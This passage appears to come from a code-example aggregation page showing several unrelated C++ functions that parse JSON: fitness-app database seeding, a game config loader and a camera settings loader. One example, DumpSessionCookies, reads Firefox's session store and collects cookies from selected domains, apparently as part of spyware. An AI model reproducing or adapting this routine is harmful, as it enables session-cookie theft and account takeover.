                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseNumberKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_ID,columnKeys, values);
                    parseStringKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_GENDER_TR, columnKeys, values);
                    parseStringKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_LEVEL_TR, columnKeys, values);
                    parseStringKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_TITLE_TR, columnKeys, values);
                    parseStringKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_AUTHOR_TR, columnKeys, values);
                    parseStringKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_SHORT_DESCRIPTION_TR, columnKeys, values);
                    parseStringKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_DESCRIPTION_TR, columnKeys, values);
                    parseNumberKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_TRANSLATABLE, columnKeys, values);
                    parseStringKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_IMAGE_KEY, columnKeys, values);
                    parseNumberKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_RATING, columnKeys, values);
                    parseNumberKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_GRADE, columnKeys, values);
                    parseNumberKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_DAYS_IN_WEEK, columnKeys, values);
                    parseStringKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_TYPE_TR, columnKeys, values);
                    parseStringKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_GOAL_TR, columnKeys, values);
                    
                    if(NativeDBController::insertIntoTable(GymfitDBContract::WorkoutEntry::TABLE_NAME,
                                                        values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
            const std::string& exserciseLevelTableName = GymfitDBContract::ExserciseLevelEntry::TABLE_NAME;
            if (root.find(exserciseLevelTableName) != root.end() &&
                root[exserciseLevelTableName]->IsArray())
            {
                JSONArray array = root[exserciseLevelTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string exserciseLevelStr = array[i]->Stringify();
                    LOGI(TAG, exserciseLevelStr.c_str());
                    
                    JSONObject exserciseLevelObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseStringKeyAndValue(exserciseLevelObject, GymfitDBContract::ExserciseLevelEntry::COLUMN_LEVEL_TR, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::ExserciseLevelEntry::TABLE_NAME,
                                                        values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
            const std::string& exserciseTypeTableName = GymfitDBContract::ExserciseTypeEntry::TABLE_NAME;
            if (root.find(exserciseTypeTableName) != root.end() &&
                root[exserciseTypeTableName]->IsArray())
            {
                JSONArray array = root[exserciseTypeTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string exserciseTypeStr = array[i]->Stringify();
                    LOGI(TAG, exserciseTypeStr.c_str());
                    
                    JSONObject exserciseTypeObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseStringKeyAndValue(exserciseTypeObject, GymfitDBContract::ExserciseTypeEntry::COLUMN_TYPE_TR, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::ExserciseTypeEntry::TABLE_NAME,
                                                        values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
            const std::string& equipmentName = GymfitDBContract::EquipmentEntry::TABLE_NAME;
            if (root.find(equipmentName) != root.end() &&
                root[equipmentName]->IsArray())
            {
                JSONArray array = root[equipmentName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string equipmentTypeStr = array[i]->Stringify();
                    LOGI(TAG, equipmentTypeStr.c_str());
                    
                    JSONObject equipmentTypeObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseStringKeyAndValue(equipmentTypeObject, GymfitDBContract::EquipmentEntry::COLUMN_EQUIPMENT_TR, columnKeys, values);
                    parseStringKeyAndValue(equipmentTypeObject, GymfitDBContract::EquipmentEntry::COLUMN_IMAGE_KEY, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::EquipmentEntry::TABLE_NAME,
                                                        values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
            const std::string& equipmentImageName = GymfitDBContract::EquipmentImageEntry::TABLE_NAME;
            if (root.find(equipmentImageName) != root.end() &&
                root[equipmentImageName]->IsArray())
            {
                JSONArray array = root[equipmentImageName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string equipmentImageStr = array[i]->Stringify();
                    LOGI(TAG, equipmentImageStr.c_str());
                    
                    JSONObject equipmentImageObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseStringKeyAndValue(equipmentImageObject, GymfitDBContract::EquipmentImageEntry::COLUMN_GENDER_TR, columnKeys, values);
                    parseStringKeyAndValue(equipmentImageObject, GymfitDBContract::EquipmentImageEntry::COLUMN_IMAGE_KEY, columnKeys, values);
                    parseStringKeyAndValue(equipmentImageObject, GymfitDBContract::EquipmentImageEntry::COLUMN_IMAGE_PATH, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::EquipmentImageEntry::TABLE_NAME,
                                                        values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
            const std::string& bodyPartTableName = GymfitDBContract::BodyPartEntry::TABLE_NAME;
            if (root.find(bodyPartTableName) != root.end() &&
                root[bodyPartTableName]->IsArray())
            {
                JSONArray array = root[bodyPartTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string bodyPartStr = array[i]->Stringify();
                    LOGI(TAG, bodyPartStr.c_str());
                    
                    JSONObject bodyPartObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseStringKeyAndValue(bodyPartObject, GymfitDBContract::BodyPartEntry::COLUMN_BODY_PART_TR, columnKeys, values);
                    parseStringKeyAndValue(bodyPartObject, GymfitDBContract::BodyPartEntry::COLUMN_IMAGE_KEY, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::BodyPartEntry::TABLE_NAME,
                                                        values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
            const std::string& bodyPartImageTableName = GymfitDBContract::BodyPartImageEntry::TABLE_NAME;
            if (root.find(bodyPartImageTableName) != root.end() &&
                root[bodyPartImageTableName]->IsArray())
            {
                JSONArray array = root[bodyPartImageTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string bodyPartImageStr = array[i]->Stringify();
                    LOGI(TAG, bodyPartImageStr.c_str());
                    
                    JSONObject bodyPartImageObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseStringKeyAndValue(bodyPartImageObject, GymfitDBContract::BodyPartImageEntry::COLUMN_GENDER_TR, columnKeys, values);
                    parseStringKeyAndValue(bodyPartImageObject, GymfitDBContract::BodyPartImageEntry::COLUMN_IMAGE_KEY, columnKeys, values);
                    parseStringKeyAndValue(bodyPartImageObject, GymfitDBContract::BodyPartImageEntry::COLUMN_IMAGE_PATH, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::BodyPartImageEntry::TABLE_NAME,
                                                        values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
            const std::string& exserciseTableName = GymfitDBContract::ExserciseEntry::TABLE_NAME;
            if (root.find(exserciseTableName) != root.end() &&
                root[exserciseTableName]->IsArray())
            {
                JSONArray array = root[exserciseTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string exserciseStr = array[i]->Stringify();
                    LOGI(TAG, exserciseStr.c_str());
                    
                    JSONObject exserciseObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseNumberKeyAndValue(exserciseObject, GymfitDBContract::ExserciseEntry::COLUMN_ID, columnKeys, values);
                    parseStringKeyAndValue(exserciseObject, GymfitDBContract::ExserciseEntry::COLUMN_TITLE_TR, columnKeys, values);
                    parseStringKeyAndValue(exserciseObject, GymfitDBContract::ExserciseEntry::COLUMN_IMAGE_KEY, columnKeys, values);
                    parseStringKeyAndValue(exserciseObject, GymfitDBContract::ExserciseEntry::COLUMN_TYPE_TR, columnKeys, values);
                    parseStringKeyAndValue(exserciseObject, GymfitDBContract::ExserciseEntry::COLUMN_LEVEL_TR, columnKeys, values);
                    parseStringKeyAndValue(exserciseObject, GymfitDBContract::ExserciseEntry::COLUMN_GENDER_TR, columnKeys, values);
                    parseStringKeyAndValue(exserciseObject, GymfitDBContract::ExserciseEntry::COLUMN_SHORT_DESCRIPTION_TR, columnKeys, values);
                    parseStringKeyAndValue(exserciseObject, GymfitDBContract::ExserciseEntry::COLUMN_DESCRIPTION_TR, columnKeys, values);
                    parseNumberKeyAndValue(exserciseObject, GymfitDBContract::ExserciseEntry::COLUMN_TRANSLATABLE, columnKeys, values);
                    parseNumberKeyAndValue(exserciseObject, GymfitDBContract::ExserciseEntry::COLUMN_RATING, columnKeys, values);
                    parseNumberKeyAndValue(exserciseObject, GymfitDBContract::ExserciseEntry::COLUMN_GRADE, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::ExserciseEntry::TABLE_NAME,
                                                        values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            const std::string& exserciseImageTableName = GymfitDBContract::ExserciseImageEntry::TABLE_NAME;
            if (root.find(exserciseImageTableName) != root.end() &&
                root[exserciseImageTableName]->IsArray())
            {
                JSONArray array = root[exserciseImageTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string exserciseImageStr = array[i]->Stringify();
                    LOGI(TAG, exserciseImageStr.c_str());
                    
                    JSONObject exserciseImageObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseStringKeyAndValue(exserciseImageObject, GymfitDBContract::ExserciseImageEntry::COLUMN_GENDER_TR, columnKeys, values);
                    parseStringKeyAndValue(exserciseImageObject, GymfitDBContract::ExserciseImageEntry::COLUMN_IMAGE_KEY, columnKeys, values);
                    parseStringKeyAndValue(exserciseImageObject, GymfitDBContract::ExserciseImageEntry::COLUMN_IMAGE_PATH, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::ExserciseImageEntry::TABLE_NAME,
                                                        values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
            const std::string& exserciseEquipmentTableName = GymfitDBContract::ExserciseEquipmentEntry::TABLE_NAME;
            if (root.find(exserciseEquipmentTableName) != root.end() &&
                root[exserciseEquipmentTableName]->IsArray())
            {
                JSONArray array = root[exserciseEquipmentTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string exserciseEquipmentStr = array[i]->Stringify();
                    LOGI(TAG, exserciseEquipmentStr.c_str());
                    
                    JSONObject exserciseEquipmentObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseNumberKeyAndValue(exserciseEquipmentObject, GymfitDBContract::ExserciseEquipmentEntry::COLUMN_EXSERCISE_ID, columnKeys, values);
                    parseStringKeyAndValue(exserciseEquipmentObject, GymfitDBContract::ExserciseEquipmentEntry::COLUMN_EQUIPMENT_TR, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::ExserciseEquipmentEntry::TABLE_NAME,
                                                        values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            const std::string& exserciseBodyPartTableName = GymfitDBContract::ExserciseBodyPartEntry::TABLE_NAME;
            if (root.find(exserciseBodyPartTableName) != root.end() &&
                root[exserciseBodyPartTableName]->IsArray())
            {
                JSONArray array = root[exserciseBodyPartTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string exserciseBodyPartStr = array[i]->Stringify();
                    LOGI(TAG, exserciseBodyPartStr.c_str());
                    
                    JSONObject exserciseBodyPartObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseNumberKeyAndValue(exserciseBodyPartObject, GymfitDBContract::ExserciseBodyPartEntry::COLUMN_EXSERCISE_ID, columnKeys, values);
                    parseStringKeyAndValue(exserciseBodyPartObject, GymfitDBContract::ExserciseBodyPartEntry::COLUMN_BODY_PART_TR, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::ExserciseBodyPartEntry::TABLE_NAME,
                                                        values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
            const std::string& workoutExserciseTableName = GymfitDBContract::WorkoutExserciseEntry::TABLE_NAME;
            if (root.find(workoutExserciseTableName) != root.end() &&
                root[workoutExserciseTableName]->IsArray())
            {
                JSONArray array = root[workoutExserciseTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string workoutExserciseStr = array[i]->Stringify();
                    LOGI(TAG, workoutExserciseStr.c_str());
                    
                    JSONObject workoutExserciseObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseNumberKeyAndValue(workoutExserciseObject, GymfitDBContract::WorkoutExserciseEntry::COLUMN_EXSERCISE_ID, columnKeys, values);
                    parseNumberKeyAndValue(workoutExserciseObject, GymfitDBContract::WorkoutExserciseEntry::COLUMN_WORKOUT_ID, columnKeys, values);
                    parseStringKeyAndValue(workoutExserciseObject, GymfitDBContract::WorkoutExserciseEntry::COLUMN_DAY, columnKeys, values);
                    parseNumberKeyAndValue(workoutExserciseObject, GymfitDBContract::WorkoutExserciseEntry::COLUMN_QUEUE_NUMBER, columnKeys, values);
                    parseNumberKeyAndValue(workoutExserciseObject, GymfitDBContract::WorkoutExserciseEntry::COLUMN_COUNT_OF_ATTEMPTS, columnKeys, values);
                    parseNumberKeyAndValue(workoutExserciseObject, GymfitDBContract::WorkoutExserciseEntry::COLUMN_TIME_FOR_REST, columnKeys, values);
                    parseStringKeyAndValue(workoutExserciseObject, GymfitDBContract::WorkoutExserciseEntry::COLUMN_DESCRIPTION, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::WorkoutExserciseEntry::TABLE_NAME,
                                                        values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
        }
        delete value;
    }

    return result;
}
示例#23
0
int DumpSessionCookies(WCHAR *profilePath)
{
	char *session_memory = NULL;
	DWORD session_size;
	HANDLE h_session_file;
	JSONValue *value;
	JSONObject root;
	WCHAR sessionPath[MAX_PATH];
	WCHAR *host = NULL, *name = NULL, *cvalue = NULL;
	DWORD n_read = 0;

	swprintf_s(sessionPath, MAX_PATH, L"%s\\sessionstore.js", profilePath);
	h_session_file = FNC(CreateFileW)(sessionPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	if (h_session_file == INVALID_HANDLE_VALUE)
		return 0;
	session_size = GetFileSize(h_session_file, NULL);
	if (session_size == INVALID_FILE_SIZE || session_size == 0) {
		CloseHandle(h_session_file);
		return 0;
	}
	session_memory = (char *)malloc(session_size + sizeof(WCHAR));
	if (!session_memory) {
		CloseHandle(h_session_file);
		return 0;
	}
	memset(session_memory, 0, session_size + sizeof(WCHAR));
	if (!ReadFile(h_session_file, session_memory, session_size, &n_read, NULL)) {
		CloseHandle(h_session_file);
		SAFE_FREE(session_memory);
		return 0;
	}
	CloseHandle(h_session_file);
	if (n_read != session_size) {
		SAFE_FREE(session_memory);
		return 0;
	}
	value = JSON::Parse(session_memory);
	if (!value) {
		SAFE_FREE(session_memory);
		return 0;
	}
	if (value->IsObject() == false) {
		delete value;
		SAFE_FREE(session_memory);
		return 0;
	}
	root = value->AsObject();

	if (root.find(L"windows") != root.end() && root[L"windows"]->IsArray()) {
		JSONArray jwindows = root[L"windows"]->AsArray();
		for (unsigned int i = 0; i < jwindows.size(); i++) {
			if (jwindows[i]->IsObject()) {
				JSONObject jtabs = jwindows[i]->AsObject();
				if (jtabs.find(L"cookies") != jtabs.end() && jtabs[L"cookies"]->IsArray()) {
					JSONArray jcookiearray = jtabs[L"cookies"]->AsArray();
					for (unsigned int j = 0; j < jcookiearray.size(); j++) {
						if (jcookiearray[j]->IsObject()) {
							JSONObject jcookie = jcookiearray[j]->AsObject();
							if (jcookie.find(L"host") != jcookie.end() && jcookie[L"host"]->IsString()) 
								host = _wcsdup(jcookie[L"host"]->AsString().c_str());
							if (jcookie.find(L"name") != jcookie.end() && jcookie[L"name"]->IsString()) 
								name = _wcsdup(jcookie[L"name"]->AsString().c_str());
							if (jcookie.find(L"value") != jcookie.end() && jcookie[L"value"]->IsString()) 
								cvalue = _wcsdup(jcookie[L"value"]->AsString().c_str());

							NormalizeDomainW(host);
							if (host && name && cvalue && IsInterestingDomainW(host))
								AddCookieW(host, name, cvalue);

							SAFE_FREE(host);
							SAFE_FREE(name);
							SAFE_FREE(cvalue);
						}
					}
				}
			}
		}
	}	
	delete value;
	SAFE_FREE(session_memory);
	return 1;
}
示例#24
0
bool Utility::config_exec_json(const char *cfgfile, bool msg)
{
    string s;
    copystring(s, cfgfile);
    char *buf = loadfile(path(s), NULL);
    if(!buf)
    {
        if(msg) conoutf(CON_ERROR, "could not read \"%s\"", s);
        return false;
    }
    // let's parse!
    JSONValue *value = JSON::Parse(buf);
    // we can delete buf now. It's all safely stored in JSONValue.
    delete[] buf;

    if (value == NULL)
    {
        if(msg) conoutf(CON_ERROR, "could not load \"%s\"", s);
        return false;
    }
    else
    {
        JSONObject root;
        if (value->IsObject() == false)
        {
            if(msg) conoutf(CON_ERROR, "could not load JSON root object.");
            return false;
        }
        else
        {
            root = value->AsObject();
            if (root.find(L"crosshairs") != root.end() && root[L"crosshairs"]->IsObject())
            {
                JSONObject crls = root[L"crosshairs"]->AsObject();
                for (JSONObject::const_iterator criter = crls.begin(); criter != crls.end(); ++criter)
                {
                    defformatstring(aliasc)("CAPI.loadcrosshair(\"%s\", %i)", fromwstring(criter->first).c_str(), (int)criter->second->AsNumber());
                    lua::engine.exec(aliasc);
                }
            }
            if (root.find(L"variables") != root.end() && root[L"variables"]->IsObject())
            {
                JSONObject vars = root[L"variables"]->AsObject();
                for (JSONObject::const_iterator viter = vars.begin(); viter != vars.end(); ++viter)
                {
                    var::cvar *v = var::get(fromwstring(viter->first).c_str());
                    if (v)
                    {
                        switch (v->gt())
                        {
                            case var::VAR_I: v->s((int)viter->second->AsNumber()); break;
                            case var::VAR_F: v->s((float)viter->second->AsNumber()); break;
                            case var::VAR_S: v->s(fromwstring(viter->second->AsString()).c_str()); break;
                        }
                    }
                }
            }
            if (root.find(L"binds") != root.end() && root[L"binds"]->IsObject())
            {
                JSONObject bnds = root[L"binds"]->AsObject();
                for (JSONObject::const_iterator biter = bnds.begin(); biter != bnds.end(); ++biter)
                {
                    JSONObject bnd = biter->second->AsObject();
                    for (JSONObject::const_iterator biiter = bnd.begin(); biiter != bnd.end(); ++biiter)
                    {
                        defformatstring(bindcmd)("CAPI.%s(\"%s\", [[%s]])", fromwstring(biiter->first).c_str(), fromwstring(biter->first).c_str(), fromwstring(biiter->second->AsString()).c_str());
                        lua::engine.exec(bindcmd);
                    }
                }
            }
            if (root.find(L"aliases") != root.end() && root[L"aliases"]->IsObject())
            {
                JSONObject als = root[L"aliases"]->AsObject();
                for (JSONObject::const_iterator aiter = als.begin(); aiter != als.end(); ++aiter)
                {
                    defformatstring(aliasc)("%s = \"%s\"", fromwstring(aiter->first).c_str(), fromwstring(aiter->second->AsString()).c_str());
                    lua::engine.exec(aliasc);
                }
            }
            // TODO: completions
            /*
            if (root.find(L"completions") != root.end() && root[L"completions"]->IsObject())
            {
                JSONObject cmpl = root[L"completions"]->AsObject();
                for (JSONObject::const_iterator citer = cmpl.begin(); citer != cmpl.end(); ++citer)
                {
                    if (fromwstring(citer->first) == "listcomplete")
                    {
                        std::string cmpl;
                        JSONArray cfa = citer->second->AsArray();
                        JSONArray cfaa = cfa[1]->AsArray();
                        for (unsigned int cfai = 0; cfai < cfaa.size(); cfai++)
                        {
                            cmpl += fromwstring(cfaa[cfai]->AsString());
                            if ((cfai + 1) != cfaa.size()) cmpl += " ";
                        }
                        defformatstring(listcmplcmd)("listcomplete \"%s\" [%s]", fromwstring(cfa[0]->AsString()).c_str(), cmpl.c_str());
                        execute(listcmplcmd);
                    }
                    else
                    {
                        JSONArray cfa = citer->second->AsArray();
                        defformatstring(cmplcmd)("complete \"%s\" \"%s\" \"%s\"", fromwstring(cfa[0]->AsString()).c_str(), fromwstring(cfa[1]->AsString()).c_str(), fromwstring(cfa[2]->AsString()).c_str());
                        execute(cmplcmd);
                    }
                }
            }*/
        }
    }
    delete value;
    return true;
}
示例#25
0
void processPropertiesFile(const char *filename, Camera &cam)
{
  struct stat st;
  if (stat(filename, &st) != 0) {
    fprintf(stderr, "Error processing prefs file '%s': can't stat", filename);
  }
  char *contents = new char[st.st_size + 1];
  FILE *fp = fopen(filename, "r");
  fread(contents, st.st_size, 1, fp);
  contents[st.st_size] = '\0';
  JSONValue *prefdict = JSON::Parse(contents);
  if (!prefdict) {
    fprintf(stderr, "Error processing prefs file '%s': not valid JSON\n", filename);
    exit(1);
  }
  if (!prefdict->IsObject()) {
    fprintf(stderr, "Error processing prefs file '%s': root not a JSON object\n", filename);
    exit(1);
  }

  JSONObject root = prefdict->AsObject();
  JSONObject properties = root[L"properties"]->AsObject();
  for (JSONObject::iterator iter = properties.begin();
       iter != properties.end(); iter++) {
    Property property;

    property.type = getPropertyType(iter->first);
    cam.GetProperty(&property);
    char pname[512];
    wcstombs(pname, iter->first.c_str(), 512);

    JSONObject propertySettings = iter->second->AsObject();
    for (JSONObject::iterator iter2 = propertySettings.begin();
         iter2 != propertySettings.end(); iter2++) {
      if (iter2->first == L"onOff" || iter2->first == L"autoManualMode") {
        if (!iter2->second->IsBool()) {
          fprintf(stderr, "Error: Expected onOff/auto property to be boolean, was not\n");
          exit(1);
        }
        if (iter2->first == L"onOff")
          property.onOff = iter2->second->AsBool();
        else
          property.autoManualMode = iter2->second->AsBool();
      }
      else if (iter2->first == L"absValue" || iter2->first == L"valueA" ||
               iter2->first == L"valueB") {
        if (!iter2->second->IsNumber()) {
          fprintf(stderr, "Error: Expected absValue/valueA/valueB property "
                  "to be a number, was not\n");
          exit(1);
        }
        if (iter2->first == L"absValue")
          property.absValue = iter2->second->AsNumber();
        else if (iter2->first == L"valueA")
          property.valueA = iter2->second->AsNumber();
        else
          property.valueB = iter2->second->AsNumber();
      }
    }
    cam.SetProperty(&property);
  }
}